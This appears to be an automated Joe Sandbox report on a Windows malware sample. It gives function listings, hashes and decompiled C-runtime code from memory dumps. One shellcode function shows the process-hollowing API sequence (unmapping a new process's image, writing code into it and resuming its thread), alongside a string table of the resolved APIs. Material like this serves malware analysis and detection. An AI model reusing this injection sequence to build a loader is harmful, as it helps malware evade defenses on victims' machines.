String ID: 0.0$Cat tafugozeyab jumulizodunef sazu buxonisiz$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Varihokegal vecu sahavujuv nemociyanuha lotom$Vozecitak mov$Wuhesuvugocu regacavac$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$wovag
API String ID: 522183021-367846507
Opcode ID: 05b1dc0ee812a48d3857e7ffa1b2ea578f2466e3eb060b0a373e36221c9a4b29
Instruction ID: b87610510c8ec3b4d44666aa4b23d6595ed80bbee9bb40c4d06cd134f6289199
Opcode Fuzzy Hash: 05b1dc0ee812a48d3857e7ffa1b2ea578f2466e3eb060b0a373e36221c9a4b29
Instruction Fuzzy Hash: 98F1EA76506664BBC311ABA1AE4CDDF3F6CEF4A351B00442AF24AE5070D7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00640110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00640156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0064016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00640255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00640270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00640283
GetThreadContext.KERNELBASE(00000000,?), ref: 0064029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 006402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00640304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0064032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00640399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006403BF
SetThreadContext.KERNELBASE(00000000,?), ref: 006403E1
ResumeThread.KERNELBASE(00000000), ref: 006403ED
ExitProcess.KERNEL32(00000000), ref: 00640412

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 9d550f6d89e6b543f19533fc27cc0a444c020d67ea4ab73539fe7fd6823abd06
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 38B1C674A00209AFDB44CF98C895F9EBBB5FF88314F248158E609AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00640630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 006406E2

Strings

WinExec, xrefs: 00640820, 00640823
ResumeThread, xrefs: 00640DEF, 00640DF5
ReadProcessMemory, xrefs: 00640C4A, 00640C50
ntdll.dll, xrefs: 00640FE2, 00640FE8
VirtualAlloc, xrefs: 00640AC1, 00640AC7
WaitForSingleObject, xrefs: 00640E95, 00640E9B
GetStartupInfoA, xrefs: 0064145B, 00641461
RegisterClassExA, xrefs: 006411B7, 006411BD
MessageBoxA, xrefs: 006406EE, 006406F4
CreateFileA, xrefs: 0064088B, 00640891
SetThreadContext, xrefs: 00640D7A, 00640D80
ExitProcess, xrefs: 00641554, 0064155A
GetMessageA, xrefs: 006412F7, 006412FA
CreateWindowExA, xrefs: 0064123E, 00641244
NtUnmapViewOfSection, xrefs: 00641085, 0064108B
VirtualAllocEx, xrefs: 00640B44, 00640B4A
VirtualProtectEx, xrefs: 006414E9, 006414EF
kernel32, xrefs: 006407ED, 006407F3
CloseHandle, xrefs: 00640938, 0064093E
GetModuleFileNameA, xrefs: 00640EFB, 00640EFE
NtWriteVirtualMemory, xrefs: 0064112C, 00641132
GetThreadContext, xrefs: 00640A4C, 00640A52
VirtualFree, xrefs: 00640BB2, 00640BB8
GetCommandLineA, xrefs: 00640F82, 00640F88
WriteProcessMemory, xrefs: 00640CE9, 00640CEF
PostMessageA, xrefs: 006412B0, 006412B6
WriteFile, xrefs: 006408CD, 006408D0
DefWindowProcA, xrefs: 00641374, 0064137A
user32, xrefs: 006406DB, 006406E1
CreateProcessA, xrefs: 006409BB, 006409C1
GetMessageExtraInfo, xrefs: 00640794, 0064079A
GetFileAttributesA, xrefs: 006413D7, 006413DA

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 21ca8cdb8e38b5ce26306f6d92202d45a5f999e81a25217117c4f2fc050bfe27
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: F8A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAA7, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041BAA7() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x55ac24 > 0) {
					_t112 =  *0x55ac24; // 0x0
					_t188 =  *0x55ac0c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x55ac0c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x55ac0c = _t170;
					} else {
						if(E0041CD80() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E420();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x55ac0c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429620(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00429560(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x55ac04 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x55ac04 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x55ac04 = 0xffffffff;
								} else {
									_t159 =  *0x55ac04; // 0x383e
									 *0x55ac04 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x55ac1c; // 0x1fc8
								 *0x55ac1c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x55ac1c; // 0x1fc8
								__eflags = _t126 -  *0x55ac10; // 0x2376
								if(__eflags > 0) {
									_t158 =  *0x55ac1c; // 0x1fc8
									 *0x55ac10 = _t158;
								}
								__eflags =  *0x55ac14;
								if( *0x55ac14 == 0) {
									 *0x55ac08 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x55ac14; // 0x711318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x55ac14; // 0x711318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x55ac14 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B5B0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B5B0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B5B0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429620(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BDF0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429620(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429620(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041baa7
0x0041baaa
0x0041bab8
0x0041baba
0x0041bac2
0x0041bac8
0x0041bb00
0x0041bb06
0x0041bb06
0x0041bb09
0x0041baca
0x0041bad1
0x0041bad3
0x0041bad8
0x0041bada
0x0041badf
0x0041bae4
0x0041bae6
0x0041baeb
0x0041baf1
0x0041baf3
0x0041baf3
0x0041baf1
0x0041baf4
0x0041baf4
0x0041bac8
0x0041bb0f
0x0041bb14
0x0041bb1e
0x0041bb23
0x0041bb29
0x0041bb2b
0x0041bb2b
0x0041bb29
0x0041bb33
0x0041bbaa
0x0041bbb3
0x0041bbb6
0x0041bbb8
0x0041bbbd
0x0041bbc0
0x0041bbc2
0x0041bbc2
0x0041bbc0
0x0041bbc9
0x0041bbcd
0x0041bc05
0x0041bc08
0x0041bc0a
0x0041bc0e
0x0041bc19
0x0041bc1c
0x0041bc1e
0x0041bc22
0x0041bc36
0x0041bc3b
0x0041bc3e
0x0041bc41
0x0041bc43
0x0041bc43
0x0041bc41
0x0041bc22
0x0041bc1c
0x0041bc0e
0x0041bc4a
0x0041bc51
0x0041bc59
0x0041bc5c
0x0041bc60
0x0041bc70
0x0041bc76
0x0041bc79
0x0041bc7f
0x0041bc83
0x0041bcd7
0x0041bcda
0x0041bced
0x0041bcdc
0x0041bcdc
0x0041bce5
0x0041bce5
0x0041bcf7
0x0041bcff
0x0041bd04
0x0041bd0a
0x0041bd10
0x0041bd12
0x0041bd18
0x0041bd18
0x0041bd1e
0x0041bd25
0x0041bd37
0x0041bd27
0x0041bd27
0x0041bd2f
0x0041bd2f
0x0041bd40
0x0041bd46
0x0041bd4b
0x0041bd58
0x0041bd61
0x0041bd6a
0x0041bd73
0x0041bd7c
0x0041bd82
0x0041bc85
0x0041bc88
0x0041bc91
0x0041bc9b
0x0041bca5
0x0041bcb2
0x0041bcb8
0x0041bcc2
0x0041bcc2
0x0041bd99
0x0041bdb6
0x0041bdd1
0x0041bddc
0x0041bddc
0x0041bddf
0x0041bc62
0x0041bc65
0x0041bc65
0x0041bbcf
0x0041bbe0
0x0041bbe8
0x0041bbeb
0x0041bbed
0x0041bbed
0x0041bbf1
0x0041bbf1
0x0041bde2
0x0041bde2
0x0041bde9
0x0041be01
0x0041be0f
0x0041be0f
0x0041bb4d
0x0041bb53
0x0041bb58
0x00000000
0x00000000
0x0041bb5e
0x0041bb97
0x0041bb9f
0x0041bba2
0x0041bba4
0x0041bba4
0x0041bba5
0x00000000
0x0041bba5
0x0041bb63
0x0041bb80
0x0041bb82
0x0041bb82
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041BACA
__heap_alloc_base.LIBCMTD ref: 0041BC51
_memset.LIBCMT ref: 0041BD99
_memset.LIBCMT ref: 0041BDB6
_memset.LIBCMT ref: 0041BDD1

Strings

Client hook allocation failure., xrefs: 0041BB85
Error: memory allocation: bad memory block type., xrefs: 0041BC24
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BADF
Invalid allocation size: %Iu bytes., xrefs: 0041BBD3
_CrtCheckMemory(), xrefs: 0041BAD3
Client hook allocation failure at file %hs line %d., xrefs: 0041BB68

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction ID: 549a7ce503fa5d84d151a3d2e6c2a5f5e72a44437d660f9e752c10a75ebdf928
Opcode Fuzzy Hash: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction Fuzzy Hash: 8BA17CB4A00204DBDB18CF54DA95BEA77F1FB48304F20825AE5146B3D5D779AD80CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B745, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B745() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B8E0();
				_t21 = E00429070(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B8B0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424860(_t46); // executed
				if(_t22 == 0) {
					E0041B8B0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041DBB0(_t46);
				_t62 = _t61 + 4;
				E00428FF0();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426C20(); // executed
				if(_t25 < 0) {
					L00426160(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x55c984 = E00428FE0();
				 *0x55abfc = E00428F30(_t44, _t54, _t56);
				if(E00428B40() < 0) {
					L00426160(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E004289A0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00426160(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00426040(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00426160(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428900();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419F7F(_t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E004260E0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00426120();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b745
0x0041b751
0x0041b756
0x0041b75b
0x0041b760
0x0041b764
0x0041b769
0x0041b769
0x0041b76c
0x0041b773
0x0041b777
0x0041b77c
0x0041b77c
0x0041b77f
0x0041b781
0x0041b786
0x0041b789
0x0041b78e
0x0041b795
0x0041b79c
0x0041b7a0
0x0041b7a5
0x0041b7a5
0x0041b7ad
0x0041b7b7
0x0041b7c3
0x0041b7c7
0x0041b7cc
0x0041b7cc
0x0041b7cf
0x0041b7d6
0x0041b7da
0x0041b7df
0x0041b7df
0x0041b7e4
0x0041b7ec
0x0041b7f3
0x0041b7f9
0x0041b7fe
0x0041b806
0x0041b80f
0x0041b81a
0x0041b811
0x0041b815
0x0041b815
0x0041b835
0x0041b83c
0x0041b842
0x0041b842
0x0041b847
0x0041b84c
0x0041b894
0x0041b89a
0x0041b8a8

APIs

_check_managed_app.LIBCMTD ref: 0041B74C
__heap_init.LIBCMTD ref: 0041B756

Part of subcall function 00429070: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B75B,00000001), ref: 00429086

_fast_error_exit.LIBCMTD ref: 0041B764

Part of subcall function 0041B8B0: ___crtExitProcess.LIBCMTD ref: 0041B8D4

_fast_error_exit.LIBCMTD ref: 0041B777
__RTC_Initialize.LIBCMTD ref: 0041B789
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B7B2
___wsetargv.LIBCMTD ref: 0041B7BC
__wsetenvp.LIBCMTD ref: 0041B7CF
__cinit.LIBCMTD ref: 0041B7E4
__wwincmdln.LIBCMTD ref: 0041B801

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: 71004fe69938cdc294de6676ce9ff14842dabed083b9eb96f85fa4507ed900e5
Instruction ID: 51f459739c39100ce92c7c9c22d8540e392755f5d99e3f1acadd246e6eef60ea
Opcode Fuzzy Hash: 71004fe69938cdc294de6676ce9ff14842dabed083b9eb96f85fa4507ed900e5
Instruction Fuzzy Hash: 3E31A6B5E013189AEB10BBB2B9027AE7274EF5070CF10002FF8155B283FB795441CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00426C20, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426C20() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43df90);
				_push(E0041E890);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0x6abcbdeb
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BEE0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x55b840 = _v128;
					 *0x55b82c = 0x20;
					while(_v128 <  *0x55b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x55b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C240( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x55b82c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x55b82c < _v116) {
							_t209 = L0041BEE0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x55b840 + _v104 * 4)) = _v128;
								 *0x55b82c =  *0x55b82c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x55b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x55b82c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C240( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426c25
0x00426c27
0x00426c2c
0x00426c37
0x00426c38
0x00426c3e
0x00426c43
0x00426c48
0x00426c4c
0x00426c52
0x00426c55
0x00426c60
0x00426c66
0x00426cab
0x00426cb0
0x00426cb3
0x00426cba
0x00426cc7
0x00426ccd
0x00426ce2
0x00426cf4
0x00426cfb
0x00426d04
0x00426d0b
0x00426d1d
0x00426d2b
0x00426d31
0x00426d38
0x00426d3f
0x00426d49
0x00426cdf
0x00426cdf
0x00426d55
0x00426f53
0x00426f53
0x00426f65
0x00426f7b
0x00426f84
0x00426f95
0x00426f9d
0x00426fb3
0x00426fb8
